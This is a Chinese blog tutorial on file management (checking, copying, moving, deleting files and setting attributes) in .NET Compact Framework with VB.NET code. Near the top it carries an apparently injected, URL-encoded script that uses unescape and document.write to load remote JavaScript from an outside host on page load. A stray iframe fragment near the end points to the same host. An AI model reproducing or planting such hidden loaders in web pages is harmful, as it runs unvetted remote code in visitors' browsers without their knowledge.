NETCF开发之文件与目录(8)

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
NETCF开发之文件与目录(8)




1.1
   
文件管理
Pocket PC
应用程序通常会包含文件管理的功能。例如访问文本配置文件、
XML
文档或数据库以及拷贝、移动、删除和使用文件属性。下面就介绍如何在
Pocket PC
环境里利用
System.IO
命名空间的
File
类来实现文件管理

1.1.1
   
File
类和
FileInfo


Directory

DirectoryInfo
类类似,
System.IO
命名空间包括
File

FileInfo
两个类。这两个类之间的差别是
File
类提供静态方法,而
FileInfo
类提供实例方法。相比之下,
File
类的功能更强大更方便。表
11-6
列出在
Pocket PC
应用程序开发中常用的
File
类方法。
 

11-6

File
类用于管理文件的方法




方法



描述





Copy



拷贝指定文件。





Delete



删除指定文件。





Exists



检查指定文件是否存在。





Move



移动指定文件到新的目录。



1.1.2
   
检查文件是否存在
System.IO
命名空间的

File
类提供一个
Exists
方法。顾名思义,该方法用于判断指定的文件是否存在。该方法的声明语法如下:
 





Public Shared Function Exists(ByVal path As String) As Boolean




 
Exists
方法返回一个布尔值。如果文件存在,返回
True
,否则返回
False
。以下代码演示调用
File

Exists
方法。
 





MsgBox(System.IO.File.Exists("/Program Files/My Directory/working.tmp"))




1.1.3
   
复制文件
使用
Copy
方法很容易实现文件的复制操作。该方法提供两个重载版本。假设目标文件不存在,第一个重载版本的声明语法如下所示:
 





Overloads Public Shared Sub Copy(ByVal sourceFileName As String, ByVal destFileName As String)




 
Copy
方法的第一
个重载版本的调用方式如下所示

 





System.IO.File.Copy("/Program Files/My Directory/working.tmp", "/Program Files/My Directory/new.tmp")




 
使用
Copy
方法的第一
个重载版本复制文件,应该使用
System.IO.File.Exists
方法确认目标文件不存在,否则将抛出一个
IOException
例外。
File
类的第二个重载版本可以指定目标文件如果存在的话,是否覆盖目标文件。声明语法如下所示:
 





Overloads Public Shared Sub Copy(_

  
ByVal sourceFileName As String, _

  
ByVal destFileName As String, _

  
ByVal overwrite As Boolean _

)




 
第三个参数
overwrite
接收一个布尔值。设置该参数为
True
,标识覆盖目标文件。调用方式如下所示

 





System.IO.File.Copy("/Program Files/My Directory/working.tmp", "/Program Files/My Directory/new.tmp", True)




1.1.4
   
移动文件
除了能够复制文件外,还可以移动文件。
File
类提供一个
Move
方法。该方法的声明语法如下:
 





Public Shared Sub Move(ByVal sourceFileName As String, ByVal destFileName As String)




 
参数
sourceFilename
指定源文件的路径,参数
desFileName
指定目标文件的路径。该方法的调用方式如下所示

 





System.IO.File.Move("/Program Files/My Directory/working.tmp", "/Program Files/Archive/working.tmp")




 
使用
Move
方法时需要注意,如果目标文件存在,将抛出一个
IOException
例外。因此在移动文件之前,应该使用
System.IO.File.Exists
方法确认目标文件不存在。清单
11-13
演示如何正确的移动文件。
 
清单
11-13
:移动文件
 





'
声明返回状态结构体

Public Structure ReturnStatus

Dim Success As Boolean

Dim Message As String

End Structure

 

Function MoveFile(ByVal strSource As String, ByVal strTarget As String) As ReturnStatus

Dim MyReturn As ReturnStatus

 

If Not (System.IO.File.Exists(strSource)) Then

MyReturn.Success = False

MyReturn.Message = "
源文件不存在
"

Return MyReturn

Exit Function

End If

 

If System.IO.File.Exists(strTarget) Then

MyReturn.Success = False

MyReturn.Message = "
目标文件已存在
"

Return MyReturn

Exit Function

End If

 

Try

System.IO.File.Move(strSource, strTarget)

MyReturn.Success = True

MyReturn.Message = strTarget

Return MyReturn

Catch ex As Exception

MyReturn.Success = False

MyReturn.Message = ex.Message

Return MyReturn

End Try

End Function




1.1.5
   
删除文件
删除文件可以
使用
File
类的
Delete
方法来实现,
该方法的声明语法如下:
 





Public Shared Sub Delete(ByVal path As String)




 
删除文件时需要指定文件的完整路径。调用方式如下所示

 





System.IO.File.Delete("/Program Files/My Directory/working.tmp")




1.1.6
   
获取文件属性
通过
FileInfo
类的
Attributes
属性可以获得指定文件的当前属性。注意我说地是
FileInfo
类。在
.NET Compact Framework
里,
File
类没有提供这样的方法。
在该属性返回的值里包含存档、隐藏、只读和系统属性标记。以下代码演示如何访问文件属性:
 





Dim myFile As System.IO.FileInfo

 

myFile = New System.IO.FileInfo("/Program Files/My Directory/working.tmp")

MsgBox(myFile.Attributes.ToString)




1.1.7
   
设置文件属性
使用
FileInfo
类的
Attributes
属性可以设置文件属性。设置文件属性的示例代码如清单
11-14
所示。首先创建一个指定文件的
FileInfo
类实例,然后,通过该实例给文件增加只读属性。
 
清单
11-14
:移动文件





……

Dim myFile As System.IO.FileInfo

 

myFile = New System.IO.FileInfo("/Program Files/My Directory/working.tmp")

myFile.Attributes = myFile.Attributes + IO.FileAttributes.ReadOnly

MsgBox(myFile.Attributes.ToString)

……




 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值